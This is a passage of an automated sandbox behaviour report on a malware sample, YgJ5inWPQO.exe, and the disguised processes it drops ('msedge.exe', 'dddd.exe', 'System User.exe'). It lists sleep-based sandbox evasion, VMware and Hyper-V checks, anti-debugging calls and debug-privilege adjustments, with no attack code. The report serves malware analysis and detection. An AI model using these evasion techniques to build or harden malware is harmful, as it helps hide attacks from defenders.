Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 596400	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 596281	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 596168	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 596062	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 595952	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 595843	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 595734	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 595619	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 595511	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 595390	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 595281	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 595171	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 595062	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 594951	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 594799	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 594672	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 594531	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 594323	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 594075	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 593969	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 593859	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 593749	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 593640	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 593531	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 593418	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 593306	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 593187	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 593059	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\System User.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\System User.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\System User.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\System User.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Window / User API: threadDelayed 754	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Window / User API: threadDelayed 9065	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Window / User API: threadDelayed 5209	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Window / User API: threadDelayed 4607	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7148	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2450	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6917
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2630
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6105
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3623
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7242
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2491

Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI4322\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI4322\libcrypto-3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI4322\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI4322\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI4322\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI4322\python313.dll	Jump to dropped file
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI4322\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI4322\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI4322\_bz2.pyd	Jump to dropped file

Source: C:\Users\user\Desktop\YgJ5inWPQO.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_0-17567

Source: C:\Users\user\Desktop\YgJ5inWPQO.exe

API coverage: 3.2 %

Source: C:\Users\user\AppData\Local\Temp\msedge.exe TID: 7880	Thread sleep time: -36893488147419080s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -32281802128991695s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -599804s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -599683s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -599578s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -599468s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -599354s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -599234s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -599125s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -599015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -598906s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -598742s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -598632s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -598515s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -598406s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -598295s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -598187s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -598078s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -597949s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -597844s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -597734s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -597578s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -597176s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -596916s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -596764s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -596647s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -596510s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -596400s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -596281s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -596168s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -596062s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -595952s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -595843s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -595734s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -595619s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -595511s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -595390s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -595281s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -595171s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -595062s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -594951s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -594799s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -594672s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -594531s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -594323s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -594075s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -593969s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -593859s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -593749s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -593640s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -593531s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -593418s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -593306s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -593187s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe TID: 3160	Thread sleep time: -593059s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3648	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3796	Thread sleep count: 6917 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3796	Thread sleep count: 2630 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7196	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7372	Thread sleep count: 6105 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7400	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7376	Thread sleep count: 3623 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7636	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Users\user\AppData\Roaming\System User.exe TID: 7908	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\System User.exe TID: 8180	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\System User.exe TID: 3716	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\System User.exe TID: 5940	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\msedge.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\msedge.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\System User.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\System User.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\System User.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\System User.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF5883B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00007FF7FF5883B0
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF5892F0 FindFirstFileExW,FindClose,	0_2_00007FF7FF5892F0
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF5A18E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF7FF5A18E4
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF5892F0 FindFirstFileExW,FindClose,	2_2_00007FF7FF5892F0
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF5A18E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	2_2_00007FF7FF5A18E4
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF5883B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	2_2_00007FF7FF5883B0

Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 599804	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 599683	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 599578	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 599468	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 599354	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 598742	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 598632	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 598515	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 598406	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 598295	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 598187	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 598078	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 597949	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 597844	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 597734	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 597578	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 597176	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 596916	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 596764	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 596647	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 596510	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 596400	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 596281	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 596168	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 596062	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 595952	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 595843	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 595734	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 595619	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 595511	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 595390	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 595281	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 595171	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 595062	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 594951	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 594799	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 594672	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 594531	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 594323	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 594075	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 593969	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 593859	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 593749	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 593640	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 593531	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 593418	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 593306	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 593187	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 593059	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\System User.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\System User.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\System User.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\System User.exe	Thread delayed: delay time: 922337203685477

Source: msedge.exe, 0000000C.00000002.2742589628.0000000002601000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: msedge.exe, 0000000C.00000002.2749735501.000000001B481000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: dddd.exe, 0000000E.00000002.1727415160.0000026232500000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllXX

Source: C:\Users\user\AppData\Local\Temp\msedge.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\AppData\Local\Temp\msedge.exe

Code function: 12_2_00007FFB49897A81 CheckRemoteDebuggerPresent,

12_2_00007FFB49897A81

Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\YgJ5inWPQO.exe

Code function: 0_2_00007FF7FF59A684 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF7FF59A684

Source: C:\Users\user\Desktop\YgJ5inWPQO.exe

Code function: 0_2_00007FF7FF5A34F0 GetProcessHeap,

0_2_00007FF7FF5A34F0

Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\System User.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\System User.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF58C910 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF7FF58C910
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF59A684 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF7FF59A684
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF58D37C SetUnhandledExceptionFilter,	0_2_00007FF7FF58D37C
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF58D19C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF7FF58D19C
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF58C910 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FF7FF58C910
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF59A684 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF7FF59A684
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF58D37C SetUnhandledExceptionFilter,	2_2_00007FF7FF58D37C
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF58D19C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF7FF58D19C
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FFBBB6137D0 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FFBBB6137D0
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FFBBB613210 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FFBBB613210
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FFBBB63A96C IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FFBBB63A96C
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FFBBB639F40 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FFBBB639F40
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FFBBCD50E08 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FFBBCD50E08

